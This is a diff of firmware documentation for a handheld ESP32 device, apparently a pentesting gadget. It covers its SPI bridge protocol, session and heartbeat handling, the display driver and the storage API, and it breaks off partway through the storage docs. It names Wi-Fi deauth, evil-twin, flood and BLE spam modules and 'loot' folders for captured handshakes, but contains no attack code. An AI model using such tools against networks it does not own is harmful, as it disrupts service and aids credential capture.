+ +```c +typedef struct { + uint8_t sync; // 0xAA + uint8_t type; // spi_type_t: CMD 0x01 / RESP 0x02 / STREAM 0x03 + uint8_t category; // spi_cat_t + uint8_t op; // operation within the category + uint8_t length; // payload bytes that follow (0-255) +} spi_header_t; +``` + +**Example — WiFi scan** (`SPI_ID_WIFI_SCAN` = `SPI_CMD(SPI_CAT_WIFI, 0x10)` = `0x0110`), no payload: + +``` +P4 -> C5 (command) + AA 01 01 10 00 + ^ ^ ^ ^ ^ + | | | | +-- length = 0 + | | | +----- op = 0x10 + | | +-------- category = 0x01 (WiFi) + | +----------- type = 0x01 (CMD) + +-------------- sync = 0xAA + +C5 -> P4 (response, after raising IRQ) — payload byte 0 is the status + AA 02 01 10 01 00 + ^ ^ ^ ^ ^ ^ + | | | | | +-- status = 0x00 (SPI_STATUS_OK) + | | | | +----- length = 1 + | | | +-------- op = 0x10 + | | +----------- category = 0x01 + | +-------------- type = 0x02 (RESP) + +----------------- sync = 0xAA +``` + +Scan results are then pulled item-by-item through the **Generic Data Pipe** (`SPI_ID_SYSTEM_DATA`) described below. + +## Generic Data Pipe +To keep the bridge simple, we use a "Dumb Pipe" approach for large data sets (like Scan results): +1. **Pull Count**: Call `SPI_ID_SYSTEM_DATA` with index `0xFFFF`. +2. **Pull Item**: Call `SPI_ID_SYSTEM_DATA` with index `0 to N`. +3. **Real-time Stats**: Call `SPI_ID_SYSTEM_DATA` with index `0xEEEE` to get a `sniffer_stats_t` structure. + +## Stream Transport (batched) + +Long-running ops (sniffers, mesh bridge) emit a continuous stream of records. +The P4 drains them by polling `SPI_ID_SYSTEM_STREAM`. To keep throughput high, +the transport **batches many records into one transfer** instead of one record +per round-trip: + +- The C5 buffers records in a ring (depth `SPI_STREAM_QUEUE_LEN = 64`). On a + `SPI_ID_SYSTEM_STREAM` poll it packs as many as fit into a single large frame + of `SPI_STREAM_FRAME_SIZE` (2048 B) and the P4 always clocks that fixed size. +- Stream frame layout (after the 5-byte header, `type = STREAM`): + `[u16 batch_len]` then `batch_len` bytes of records, each + `[u16 op][u8 len][len bytes]`. `batch_len = 0` means "no data" → the P4 backs + off and polls again later. +- The P4 unpacks and dispatches **each record to its `op`'s stream callback**, + exactly as if it had arrived in its own frame — so session/`seq`/backpressure + semantics stay **per record** (see Session Lifecycle). The command/response + path is unaffected and still uses `SPI_FRAME_SIZE`. + +Two related tunables: the C5 signals readiness with a short rising-edge IRQ +pulse (~10 µs — the P4 catches it via a GPIO edge interrupt, so no held level +or millisecond delay is needed), and bursts are absorbed by the 64-deep ring; +when it overflows, records are dropped and counted (never block capture). + +### Stream Example (WiFi sniffer) + +**Producer — C5** (each captured 802.11 frame becomes one record; the session +layer adds the `{session_id, seq}` meta and applies backpressure): +```c +spi_wifi_sniffer_frame_t f = { .rssi = -42, .channel = 6, .len = n, /* data */ }; +session_manager_try_emit(session_id, (const uint8_t *)&f, 3 + n); +``` + +**On the wire** — the P4 polls `SYSTEM_STREAM` and the C5 returns one 2 KB frame +batching the queued records: +``` +P4 -> C5: AA 01 00 06 00 poll: SYSTEM_STREAM (cat 0x00, op 0x06) +C5 -> P4: AA 03 00 00 00 | + ^ header, type=STREAM (cat/op/length unused for the batch) + payload: + 20 00 batch_len = 0x0020 (32 bytes of records) + ── record 1 ─────────────────────── + 25 01 op = 0x0125 (SPI_ID_WIFI_APP_SNIFFER) + 0D rec_len = 13 + 34 12 00 00 01 00 00 00 spi_stream_meta_t { session_id=0x1234, seq=1 } + D6 06 02 AA BB frame: rssi=-42, ch=6, len=2, data=AA BB + ── record 2 (same op, seq=2) ────── + 25 01 0D 34 12 00 00 02 00 00 00 D6 06 02 CC DD + ── remaining bytes up to 2048 = padding, ignored (batch_len bounds it) ── +``` + +**Consumer — P4** (each record is dispatched to the op's callback; the meta is +stripped by the session layer, so the consumer sees only the frame): +```c +// registered via spi_session_start(SPI_ID_WIFI_APP_SNIFFER, …, on_stream, …) +static void on_stream(const uint8_t *payload, uint8_t len) { + const spi_wifi_sniffer_frame_t *f = (const void *)payload; // one captured frame + storage_stream_write(pcap, f->data, f->len); +} +``` +See `wifi_sniffer.c` (both firmwares) for the full reference implementation. + +## Adding a New Command +To add a new feature (e.g., "GPS Get Location"): + +1. **Protocol**: Add `SPI_ID_GPS_GET` to `spi_protocol.h`. +2. **C5 Dispatcher**: + - Open `wifi_dispatcher.c` (or a new `gps_dispatcher.c`). + - Add the case for `SPI_ID_GPS_GET`. + - Call the actual hardware driver. + - If it returns a list, call `spi_bridge_provide_results(pointer, count, size)`. +3. **P4 Wrapper**: + - Create a wrapper in `Applications` or `Service`. + - Use `spi_bridge_send_command(SPI_ID_GPS_GET, ...)` to trigger the action. + - Use the generic `SPI_ID_SYSTEM_DATA` to pull results if necessary. + +## Session Lifecycle (Long-Running Operations) + +For operations that run for an extended period (sniffers, monitors, attacks +that emit a stream of events), the basic request-response model is unsafe: +if the master dies or stops listening, the slave keeps running indefinitely +and sends data into the void. The session protocol fixes this with three +mechanisms working together: + +### 1. Session ID +Every long-running operation is tagged with a 32-bit `session_id` chosen +randomly by the C5 when the operation starts. Both sides track the active +session; stream packets carry the id so stale data can be discarded after +a restart. + +### 2. Heartbeat (anti-zombie) +The P4 sends `SPI_ID_SESSION_HEARTBEAT { session_id, last_acked_seq }` +every **2 seconds** while a session is active. The C5 has a watchdog task +that runs every second and kills any session whose last heartbeat is older +than **5 seconds**. When killed, the C5 emits `SPI_ID_SESSION_LOST` as a +stream so the master can react (e.g., restart, show error UI). + +If the master detects 3 consecutive heartbeat failures, it assumes the +session is gone and fires its local `on_lost` callback. + +### 3. Backpressure window +Stream packets carry `{ session_id, seq }`. The master accumulates +`last_acked_seq` and reports it via heartbeat. The C5 refuses to emit if +`seq - last_acked_seq >= SPI_SESSION_WINDOW (64)` — protects against +buffer overflow when the slave produces faster than the master drains. +Drops are counted and logged. + +### Wire shapes + +| Direction | When | Packet | +|-----------|------|--------| +| P4 → C5 | START | `op_id` + op-specific params | +| C5 → P4 | START reply | status byte + `spi_session_resp_t { session_id }` | +| P4 → C5 | every 2s | `SPI_ID_SESSION_HEARTBEAT` + `spi_heartbeat_req_t` | +| C5 → P4 | heartbeat reply | status + `spi_heartbeat_resp_t { alive }` | +| C5 → P4 | data | batched STREAM frame (see "Stream Transport"); each record = `op` + `spi_stream_meta_t { session_id, seq }` + payload | +| P4 → C5 | STOP | `SPI_ID_SESSION_STOP` + `spi_session_stop_req_t { session_id }` | +| C5 → P4 | watchdog kill | `SPI_ID_SESSION_LOST` STREAM + `spi_session_lost_t { session_id, cmd }` | + +### Master API + +```c +// Start a long-running operation. Spawns heartbeat task internally. +uint32_t spi_session_start(spi_id_t op_id, + const uint8_t *params, uint8_t params_len, + spi_session_stream_cb_t on_stream, // peeled meta + spi_session_lost_cb_t on_lost); + +// Clean teardown. Kills heartbeat, sends STOP. +esp_err_t spi_session_stop(uint32_t session_id); +``` + +Returns `SPI_SESSION_INVALID_ID` (0) on START failure. The `on_stream` +callback receives the **operation payload only** — the meta header is +stripped and ack tracking is invisible to the consumer. + +### Slave API (C5) + +```c +// Open a session for the op_id. Closes any prior session first. +uint32_t session_manager_start(spi_id_t op_id, session_kill_cb_t kill_cb); + +// Emit a stream packet (prefixes meta, applies backpressure). +esp_err_t session_manager_try_emit(uint32_t session_id, + const uint8_t *data, uint8_t len); +``` + +The op implementation stores the returned `session_id` and uses it for +every emit. The `kill_cb` is invoked by the watchdog if heartbeats stop — +the op should call its own `_stop()` from there. + +### Migrating a New Operation (recipe) + +There are two patterns depending on whether the op emits streams. Both +are used in the codebase — see `wifi_sniffer` (streaming) and +`wifi_deauther` (non-streaming) as references. + +#### Pattern A — Non-streaming op (deauther, flood, evil_twin, …) + +The op runs in background but does NOT emit packets to the master. The +master polls for results via `SPI_ID_SYSTEM_DATA` if it needs data. + +**C5 side (only the dispatcher changes — op .c/.h untouched):** +```c +// In wifi_dispatcher.c (or bt_dispatcher.c): +static void killed_my_op(spi_id_t id) { (void)id; my_op_stop(); } + +case SPI_ID_MY_OP: + if (!my_op_start(...)) return SPI_STATUS_ERROR; + return open_session(SPI_ID_MY_OP, killed_my_op, + out_resp_payload, out_resp_len, my_op_stop); +``` + +**P4 side (wrapper):** +```c +static uint32_t s_session_id = SPI_SESSION_INVALID_ID; + +bool my_op_start(...) { + s_session_id = spi_session_start(SPI_ID_MY_OP, params, len, NULL, NULL); + return s_session_id != SPI_SESSION_INVALID_ID; +} + +void my_op_stop(void) { + if (s_session_id != SPI_SESSION_INVALID_ID) { + spi_session_stop(s_session_id); + s_session_id = SPI_SESSION_INVALID_ID; + } +} +``` + +#### Pattern B — Streaming op (sniffer, ble_sniffer, …) + +The op emits a continuous stream of packets to the master. + +**C5 side:** +1. Add `static uint32_t s_session_id = SPI_SESSION_INVALID_ID;` to the + op's `.c`. +2. Add public `_bind_session(uint32_t)` setter and + `_session_killed(spi_id_t)` kill callback (the latter calls `_stop()`). +3. Replace `spi_bridge_stream_push(SPI_ID_OP, data, len)` with + `session_manager_try_emit(s_session_id, data, len)`. +4. In the dispatcher, replace the START handler with: call + `op_start(...)`, then `session_manager_start(SPI_ID_OP, op_session_killed)`, + then `op_bind_session(sid)`, then return + `spi_session_resp_t { sid }` as response payload. + +**P4 side:** +1. Replace `spi_bridge_send_command(SPI_ID_OP, …)` + + `spi_bridge_register_stream_cb(SPI_ID_OP, raw_cb)` with a single + `spi_session_start(SPI_ID_OP, params, …, on_stream, on_lost)`. +2. Store the returned `session_id`. +3. Change STOP to `spi_session_stop(session_id)`. +4. The `on_stream` callback signature is + `void(const uint8_t *payload, uint8_t len)` — the meta header is + already stripped. + +### Tunables +Defined in `session_manager.c` (slave) and `spi_session.c` (master): +- `SESSION_TIMEOUT_MS` = 5000 — slave watchdog timeout +- `WATCHDOG_PERIOD_MS` = 1000 — slave watchdog tick +- `HEARTBEAT_INTERVAL_MS` = 2000 — master ping period +- `HEARTBEAT_FAIL_LIMIT` = 3 — master fails before declaring lost +- `SPI_SESSION_WINDOW` = 64 — backpressure window (in `spi_protocol.h`) + +### Migrated operations + +All long-running ops now use the session lifecycle. Each one: +- Returns `spi_session_resp_t { session_id }` on START. +- Has a kill_cb registered with the session manager that calls its `_stop()`. +- Is closed by the master via `SPI_ID_SESSION_STOP { session_id }` (sent + internally by `spi_session_stop`). +- Is auto-killed by the C5 watchdog if the master stops sending heartbeats + for 5s (master crash, screen freeze, etc.). + +| Op | C5 module | P4 wrapper | Streams? | +|----|-----------|-----------|----------| +| `WIFI_APP_SNIFFER` | wifi_sniffer.c | wifi_sniffer.c | ✓ stream | +| `BT_APP_SNIFFER` | ble_sniffer.c | bluetooth_service.c | ✓ stream | +| `WIFI_APP_DEAUTHER` | wifi_deauther.c | wifi_deauther.c | – | +| `WIFI_APP_FLOOD` | wifi_flood.c | wifi_flood.c | – | +| `WIFI_APP_EVIL_TWIN` | evil_twin.c | evil_twin.c | – | +| `WIFI_APP_BEACON_SPAM` | beacon_spam.c | beacon_spam.c | – | +| `WIFI_APP_DEAUTH_DET` | deauther_detector.c | deauther_detector.c | – | +| `WIFI_APP_PROBE_MON` | probe_monitor.c | probe_monitor.c | – | +| `WIFI_APP_SIGNAL_MON` | signal_monitor.c | signal_monitor.c | – | +| `BT_APP_FLOOD` | ble_connect_flood.c | ble_connect_flood.c | – | +| `BT_APP_SKIMMER` | skimmer_detector.c | skimmer_detector.c | – | +| `BT_APP_TRACKER` | tracker_detector.c | tracker_detector.c | – | +| `BT_APP_SPAM` | (handler pending) | canned_spam.c | – | +| `BT_APP_FLOOD` (L2CAP variant) | ble_connect_flood.c | ble_l2cap_flood.c | – | + +The legacy `SPI_ID_WIFI_APP_ATTACK_STOP` and `SPI_ID_BT_APP_STOP` shotgun +commands have been removed entirely. Every op now stops via its own +session via `SPI_ID_SESSION_STOP { session_id }`. + +## Hardware Hookup +| Signal | P4 Pin | C5 Pin | +|--------|--------|--------| +| SCLK | 20 | 6 | +| MOSI | 21 | 7 | +| MISO | 22 | 2 | +| CS | 23 | 10 | +| IRQ | 2 | 3 | +| RESET | 48 | EN | +| BOOT | 33 | IO0 | +| UART TX| 46 | RX | +| UART RX| 47 | TX | diff --git a/docs/st7789/README.md b/docs/st7789/README.md new file mode 100644 index 000000000..ad7ad87d7 --- /dev/null +++ b/docs/st7789/README.md @@ -0,0 +1,43 @@ +# ST7789 Display Driver + +This component initializes and manages the ST7789 LCD controller using the ESP-IDF `esp_lcd` component. It handles the SPI interface configuration and the display initialization sequence. + +## Overview + +- **Location:** `components/Drivers/st7789/` +- **Header:** `include/st7789.h` +- **Dependencies:** `esp_lcd`, `driver/gpio`, `driver/ledc`, `spi` + +## Hardware Configuration +- **Resolution:** 240x240 +- **Color Depth:** 16-bit (RGB565) +- **Interface:** SPI (via `spi` component driver) + +## Internal Backlight Control +Although a separate `backlight` component exists, this driver currently includes its own internal PWM initialization (`init_backlight_pwm`) and control logic using `LEDC_TIMER_0` / `LEDC_CHANNEL_0`. +*Note: This overlaps with the standalone `backlight` component. Verify project integration to avoid timer conflicts.* + +## API Reference + +### `st7789_init` +```c +void st7789_init(void); +``` +Initializes the display. +1. Creates the SPI device interface on `SPI3_HOST`. +2. Configures the ST7789 panel (Reset pin, RGB order, etc.). +3. Resets and initializes the panel. +4. Inverts colors (standard for many ST7789 IPS panels). +5. Turns the display ON. +6. Initializes the backlight PWM and sets it to 80%. + +### `lcd_set_brightness` +```c +void lcd_set_brightness(uint8_t percent); +``` +Sets the backlight brightness percentage (0-100%). +- **Implementation:** Uses LEDC Timer 0, Channel 0 with 13-bit resolution. + +## Global Handles +- `panel_handle`: Handle to the abstract LCD panel. +- `io_handle`: Handle to the underlying IO interface. diff --git a/docs/storage_api/c5.md b/docs/storage_api/c5.md new file mode 100644 index 000000000..227b42b36 --- /dev/null +++ b/docs/storage_api/c5.md @@ -0,0 +1,449 @@ +# Storage API + +The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. + +## Features + +- **Unified Interface**: Same API for internal flash (LittleFS) and external SD cards. +- **Backend Abstraction**: Uses VFS layer underneath, works with any configured backend. +- **Automatic Path Resolution**: Automatically handles mount points - use relative paths. +- **Robustness**: Includes safety checks, recursive directory creation, and error handling. +- **High-Level Helpers**: Easy reading/writing of strings, lines, formatted text, and CSV data. + +--- + +## Architecture + +``` +Application Code + ↓ + Storage API ← You are here (recommended layer) + ↓ + VFS Core ← Backend abstraction + ↓ + SD Card / LittleFS / SPIFFS +``` + +**Dependencies:** +- Requires `vfs_core` to be initialized +- Backend selection is done in `vfs_config.h` + +--- + +## Initialization + +Before performing any operations, the storage system must be initialized. + +```c +#include "storage_init.h" + +// Initialize the storage system +// This calls vfs_init_auto() internally +esp_err_t ret = storage_init(); +if (ret != ESP_OK) { + // Handle error +} + +// Check if mounted +if (storage_is_mounted()) { + // Ready to use +} + +// Deinitialize when done (rarely needed for main application) +storage_deinit(); +``` + +### Default Directory Structure + +The storage system automatically creates a standard directory tree on initialization: + +``` +/ (e.g., /sdcard or /littlefs) +├── config/ - Configuration files +├── data/ - Application data +├── logs/ - Log files +├── cache/ - Temporary cache +├── temp/ - Temporary files +├── backup/ - Backup files +├── certs/ - SSL/TLS certificates +├── scripts/ - Script files +└── captive_portal/ - Captive portal files +``` + +These directories are defined in `storage_dirs.h` and can be accessed via macros: + +```c +#include "storage_dirs.h" + +// Macros automatically include the mount point +// Example: STORAGE_DIR_CONFIG expands to "/sdcard/config" or "/littlefs/config" + +// Write to config directory +storage_write_string(STORAGE_DIR_CONFIG "/settings.json", json_data); + +// Append to logs +storage_append_formatted(STORAGE_DIR_LOGS "/system.log", "[%lu] Event\n", timestamp); + +// Save backup +storage_file_copy(STORAGE_DIR_DATA "/important.dat", STORAGE_DIR_BACKUP "/important.dat"); +``` + +**Path Handling:** +- All Storage API functions accept **relative paths** (e.g., `/config/file.txt`) +- Mount point is automatically prepended internally +- You can use either `"/config/file.txt"` or `STORAGE_DIR_CONFIG "/file.txt"` +- Paths starting with `/` are treated as relative to mount point +- Paths already containing the mount point are used as-is + +**Note**: Directory creation is non-critical. If any directory fails to create, initialization continues successfully, and you can create directories manually later as needed. + +--- + +## File Operations + +Header: `storage_impl.h` + +### Basic Management + +| Function | Description | +|----------|-------------| +| `bool storage_file_exists(const char *path)` | Checks if a file exists. | +| `esp_err_t storage_file_delete(const char *path)` | Deletes a file. | +| `esp_err_t storage_file_rename(const char *old, const char *new)` | Renames or moves a file. | +| `esp_err_t storage_file_copy(const char *src, const char *dst)` | Copies a file. | +| `esp_err_t storage_file_move(const char *src, const char *dst)` | Moves a file (same as rename). | +| `esp_err_t storage_file_clear(const char *path)` | Clears file content (truncates to 0). | +| `esp_err_t storage_file_truncate(const char *path, size_t size)` | Truncates file to specified size. | +| `esp_err_t storage_file_compare(const char *p1, const char *p2, bool *equal)` | Compares two files for equality. | + +### Information + +```c +// File information structure +typedef struct { + char path[256]; // Full path to file + size_t size; // File size in bytes + time_t modified_time; // Last modification time (Unix timestamp) + time_t created_time; // Creation time (Unix timestamp) + bool is_directory; // True if this is a directory + bool is_hidden; // True if hidden file + bool is_readonly; // True if read-only +} storage_file_info_t; +``` + +| Function | Description | +|----------|-------------| +| `esp_err_t storage_file_get_size(const char *path, size_t *size)` | Gets file size in bytes. | +| `esp_err_t storage_file_is_empty(const char *path, bool *empty)` | Checks if a file is empty. | +| `esp_err_t storage_file_get_info(const char *path, storage_file_info_t *info)` | Gets detailed info (size, times, attributes). | +| `esp_err_t storage_file_get_extension(const char *path, char *ext, size_t size)` | Extracts file extension. | + +--- + +## Reading Data + +Header: `storage_read.h` + +The API provides various ways to read data depending on your needs. + +### Strings & Binary + +```c +// Read entire file into a string buffer (null-terminated) +char buffer[128]; +storage_read_string("/config/settings.txt", buffer, sizeof(buffer)); + +// Read binary data +uint8_t data[64]; +size_t bytes_read; +storage_read_binary("/data/image.bin", data, sizeof(data), &bytes_read); + +// Read chunk from specific offset +storage_read_chunk("/data/large.bin", 1024, data, sizeof(data), &bytes_read); +``` + +### Line-by-Line + +```c +// Read specific line (1-based index) +char line[64]; +storage_read_line("/logs/system.log", line, sizeof(line), 5); + +// Read first/last line helpers +storage_read_first_line("/logs/system.log", line, sizeof(line)); +storage_read_last_line("/logs/system.log", line, sizeof(line)); + +// Iterate over all lines using a callback +void my_line_callback(const char *line, void *user_data) { + printf("Read line: %s\n", line); +} +storage_read_lines("/data/list.txt", my_line_callback, NULL); + +// Count lines in file +uint32_t count; +storage_count_lines("/data/list.txt", &count); +``` + +### Typed Data + +```c +int32_t count; +storage_read_int("/config/boot_count", &count); + +float temperature; +storage_read_float("/config/temp_threshold", &temperature); + +uint8_t byte; +storage_read_byte("/data/flag", &byte); + +uint8_t bytes[16]; +size_t num_bytes; +storage_read_bytes("/data/raw", bytes, sizeof(bytes), &num_bytes); +``` + +### Search Operations + +```c +// Check if file contains a string +bool found; +storage_file_contains("/logs/events.log", "ERROR", &found); + +// Count occurrences of a string +uint32_t count; +storage_count_occurrences("/logs/events.log", "WARNING", &count); +``` + +--- + +## Writing Data + +Header: `storage_write.h` + +All write functions automatically create parent directories if they don't exist (recursive mkdir). + +### Strings & Binary + +```c +// Write (overwrite) a string to a file +storage_write_string("/data/status.txt", "System Ready"); + +// Append to a file +storage_append_string("/logs/app.log", "Event occurred"); + +// Write binary data +uint8_t raw_data[] = {0x01, 0x02, 0x03}; +storage_write_binary("/data/blob.bin", raw_data, sizeof(raw_data)); + +// Append binary data +storage_append_binary("/data/stream.bin", raw_data, sizeof(raw_data)); +``` + +### Line-Based Writing + +```c +// Write single line with newline +storage_write_line("/data/entry.txt", "First entry"); + +// Append line with newline +storage_append_line("/logs/events.log", "Event occurred at 12:00"); +``` + +### Formatted Output + +Similar to `printf`, useful for logs or human-readable data. + +```c +storage_write_formatted("/logs/info.txt", "Boot count: %d\nTime: %u", count, timestamp); +storage_append_formatted("/logs/events.log", "[INFO] Sensor %s: %.2f\n", sensor_name, value); +``` + +### Typed Data + +```c +// Write integer +storage_write_int("/config/counter", 42); + +// Write float +storage_write_float("/config/threshold", 3.14159); + +// Write single byte +storage_write_byte("/data/flag", 0xFF); + +// Write byte array +uint8_t data[] = {0xDE, 0xAD, 0xBE, 0xEF}; +storage_write_bytes("/data/magic", data, sizeof(data)); +``` + +### CSV Support + +Helper for writing structured data. + +```c +const char *header[] = {"Timestamp", "Value", "Unit"}; +storage_write_csv_row("/data/sensors.csv", header, 3); +// Writes: Timestamp,Value,Unit\n + +const char *row[] = {"1234567890", "23.5", "°C"}; +storage_append_csv_row("/data/sensors.csv", row, 3); +// Appends: 1234567890,23.5,°C\n +``` + +--- + +## Directory Operations + +Header: `storage_impl.h` + +| Function | Description | +|----------|-------------| +| `esp_err_t storage_dir_create(const char *path)` | Creates a directory. | +| `esp_err_t storage_dir_remove(const char *path)` | Removes an empty directory. | +| `esp_err_t storage_dir_remove_recursive(const char *path)` | Removes a directory and all contents. | +| `bool storage_dir_exists(const char *path)` | Checks if directory exists. | +| `esp_err_t storage_dir_is_empty(const char *path, bool *empty)` | Checks if directory is empty. | +| `esp_err_t storage_dir_list(const char *path, storage_dir_callback_t cb, void *user_data)` | Lists directory contents via callback. | +| `esp_err_t storage_dir_count(const char *path, uint32_t *file_count, uint32_t *dir_count)` | Counts files and subdirectories. | + +**Note**: `storage_dir_copy_recursive()` and `storage_dir_get_size()` return `ESP_ERR_NOT_SUPPORTED` (not yet implemented). + +### Directory Listing Example + +```c +void list_callback(const char *name, bool is_dir, void *user_data) { + printf("%s %s\n", is_dir ? "[DIR]" : "[FILE]", name); +} + +storage_dir_list("/data", list_callback, NULL); +``` + +--- + +## Storage Information + +Header: `storage_impl.h` + +Monitor storage usage and health. + +```c +// Print detailed usage report to log +storage_print_info_detailed(); + +// Get complete storage information +storage_info_t info; +storage_get_info(&info); +printf("Backend: %s\n", info.backend_name); +printf("Mount: %s\n", info.mount_point); +printf("Total: %llu bytes\n", info.total_bytes); + +// Get individual values +uint64_t total, free, used; +storage_get_total_space(&total); +storage_get_free_space(&free); +storage_get_used_space(&used); + +// Get usage percentage +float percent; +storage_get_usage_percent(&percent); + +// Get backend information +const char *backend = storage_get_backend_type(); +const char *mount = storage_get_mount_point_str(); +``` + +--- + +## Helper Functions + +Header: `storage_mkdir.h` + +```c +// Create directory path recursively (used internally by write functions) +esp_err_t storage_mkdir_recursive(const char *path); +``` + +This function creates all parent directories as needed. It's automatically called by write operations, but can be used directly when needed. + +--- + +## Example Usage + +```c +#include "storage_init.h" +#include "storage_impl.h" +#include "storage_read.h" +#include "storage_write.h" +#include "storage_dirs.h" + +void app_main() { + // Initialize storage (calls vfs_init_auto internally) + if (storage_init() != ESP_OK) { + printf("Storage init failed!\n"); + return; + } + + // Check for config file + if (storage_file_exists(STORAGE_DIR_CONFIG "/settings.json")) { + char config[1024]; + storage_read_string(STORAGE_DIR_CONFIG "/settings.json", config, sizeof(config)); + // Process config... + } else { + // Create default config + storage_write_string(STORAGE_DIR_CONFIG "/settings.json", "{ \"defaults\": true }"); + } + + // Log startup event with timestamp + storage_append_formatted(STORAGE_DIR_LOGS "/boot.log", + "System started at %lu\n", xTaskGetTickCount()); + + // Write sensor data to CSV + const char *header[] = {"Time", "Temp", "Humidity"}; + storage_write_csv_row(STORAGE_DIR_DATA "/sensors.csv", header, 3); + + const char *data[] = {"12:00", "23.5", "65"}; + storage_append_csv_row(STORAGE_DIR_DATA "/sensors.csv", data, 3); + + // Check storage health + float usage; + storage_get_usage_percent(&usage); + printf("Storage usage: %.1f%%\n", usage); + + // List directory contents + uint32_t files, dirs; + storage_dir_count(STORAGE_DIR_DATA, &files, &dirs); + printf("Data directory: %lu files, %lu subdirectories\n", files, dirs); +} +``` + +--- + +## Best Practices + +1. **Always use relative paths** - Let the API handle mount points +2. **Use directory macros** - `STORAGE_DIR_CONFIG` instead of hardcoded `"/config"` +3. **Check return values** - All functions return `esp_err_t` for error handling +4. **Monitor storage** - Use `storage_get_usage_percent()` to prevent full disk +5. **Use appropriate read functions** - Line-by-line for logs, binary for images +6. **Automatic directory creation** - Write functions create parent directories automatically +7. **Path flexibility** - Relative paths (`/config/file.txt`) or full mount paths both work + +--- + +## Error Handling + +All functions return `esp_err_t` values. Common return codes: + +- `ESP_OK` - Operation successful +- `ESP_ERR_INVALID_ARG` - Invalid argument (NULL pointer, invalid size) +- `ESP_ERR_INVALID_STATE` - Storage not mounted +- `ESP_FAIL` - General failure (file not found, I/O error, etc.) +- `ESP_ERR_NOT_FOUND` - Item not found (used by some search functions) +- `ESP_ERR_NOT_SUPPORTED` - Feature not implemented + +Always check return values: + +```c +esp_err_t ret = storage_write_string("/config/test.txt", "data"); +if (ret != ESP_OK) { + ESP_LOGE(TAG, "Write failed: %s", esp_err_to_name(ret)); +} +``` \ No newline at end of file diff --git a/docs/storage_api/p4.md b/docs/storage_api/p4.md new file mode 100644 index 000000000..4d55cc93c --- /dev/null +++ b/docs/storage_api/p4.md @@ -0,0 +1,483 @@ +# Storage API + +The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. + +## Features + +- **Unified Interface**: Same API for internal flash (LittleFS) and external SD cards. +- **Backend Abstraction**: Uses VFS layer underneath, works with any configured backend. +- **Automatic Path Resolution**: Automatically handles mount points - use relative paths. +- **Robustness**: Includes safety checks, recursive directory creation, and error handling. +- **High-Level Helpers**: Easy reading/writing of strings, lines, formatted text, and CSV data. + +--- + +## Architecture + +``` +Application Code + ↓ + Storage API ← You are here (recommended layer) + ↓ + VFS Core ← Backend abstraction + ↓ + SD Card / LittleFS / SPIFFS +``` + +**Dependencies:** +- Requires `vfs_core` to be initialized +- Backend selection is done in `vfs_config.h` + +--- + +## Initialization + +Before performing any operations, the storage system must be initialized. + +```c +#include "storage_init.h" + +// Initialize the storage system +// This calls vfs_init_auto() internally +esp_err_t ret = storage_init(); +if (ret != ESP_OK) { + // Handle error +} + +// Check if mounted +if (storage_is_mounted()) { + // Ready to use +} + +// Deinitialize when done (rarely needed for main application) +storage_deinit(); +``` + +### Default Directory Structure + +On first boot, `tos_first_boot_setup()` creates the full directory tree on the SD card: + +``` +/ +├── config/ - Modular .conf files (screen, wifi, ble, lora, system) +├── nfc/assets/ - NFC card data + protocol databases +├── rfid/assets/ - RFID key data + protocol databases +├── subghz/assets/ - Sub-GHz captures + frequency lists +├── ir/assets/ - IR remote files + universal remotes DB +├── wifi/ +│ ├── assets/ - OUI DB, wordlists +│ ├── loot/ - handshakes/, pcaps/, deauth_logs/ +│ └── captive_portal/templates/ +├── ble/ +│ ├── assets/ - Company ID DB +│ └── loot/ - Scan results +├── lora/ +│ ├── assets/ - Frequency plans +│ ├── loot/ - Device scans +│ └── messages/ - LoRa messages +├── badusb/assets/ - DuckyScript payloads + keyboard layouts +├── themes/ - Custom themes (*/theme.conf) +├── ringtones/ - Custom sounds +├── apps/ - External apps (.tap) +├── apps_data/ - App persistence +├── scripts/ - User scripts +├── logs/ - System logs +├── backup/ - Backups +├── cache/ - Temporary cache +└── update/ - Firmware update via SD +``` + +All paths are defined in `tos_storage_paths.h` and accessed via `TOS_PATH_*` macros: + +```c +#include "tos_storage_paths.h" + +// Macros automatically include VFS_MOUNT_POINT +storage_write_string(TOS_PATH_CONFIG_SCREEN, json_data); +storage_append_formatted(TOS_PATH_LOGS "/system.log", "[%lu] Event\n", timestamp); +storage_file_copy(TOS_PATH_WIFI_LOOT_HS "/capture.hccapx", TOS_PATH_BACKUP "/capture.hccapx"); +``` + +--- + +## File Operations + +Header: `storage_impl.h` + +### Basic Management + +| Function | Description | +|----------|-------------| +| `bool storage_file_exists(const char *path)` | Checks if a file exists. | +| `esp_err_t storage_file_delete(const char *path)` | Deletes a file. | +| `esp_err_t storage_file_rename(const char *old, const char *new)` | Renames or moves a file. | +| `esp_err_t storage_file_copy(const char *src, const char *dst)` | Copies a file. | +| `esp_err_t storage_file_move(const char *src, const char *dst)` | Moves a file (same as rename). | +| `esp_err_t storage_file_clear(const char *path)` | Clears file content (truncates to 0). | +| `esp_err_t storage_file_truncate(const char *path, size_t size)` | Truncates file to specified size. | +| `esp_err_t storage_file_compare(const char *p1, const char *p2, bool *equal)` | Compares two files for equality. | + +### Information + +```c +// File information structure +typedef struct { + char path[256]; // Full path to file + size_t size; // File size in bytes + time_t modified_time; // Last modification time (Unix timestamp) + time_t created_time; // Creation time (Unix timestamp) + bool is_directory; // True if this is a directory + bool is_hidden; // True if hidden file + bool is_readonly; // True if read-only +} storage_file_info_t; +``` + +| Function | Description | +|----------|-------------| +| `esp_err_t storage_file_get_size(const char *path, size_t *size)` | Gets file size in bytes. | +| `esp_err_t storage_file_is_empty(const char *path, bool *empty)` | Checks if a file is empty. | +| `esp_err_t storage_file_get_info(const char *path, storage_file_info_t *info)` | Gets detailed info (size, times, attributes). | +| `esp_err_t storage_file_get_extension(const char *path, char *ext, size_t size)` | Extracts file extension. | + +--- + +## Reading Data + +Header: `storage_read.h` + +The API provides various ways to read data depending on your needs. + +### Strings & Binary + +```c +// Read entire file into a string buffer (null-terminated) +char buffer[128]; +storage_read_string("/config/settings.txt", buffer, sizeof(buffer)); + +// Read binary data +uint8_t data[64]; +size_t bytes_read; +storage_read_binary("/data/image.bin", data, sizeof(data), &bytes_read); + +// Read chunk from specific offset +storage_read_chunk("/data/large.bin", 1024, data, sizeof(data), &bytes_read); +``` + +### Line-by-Line + +```c +// 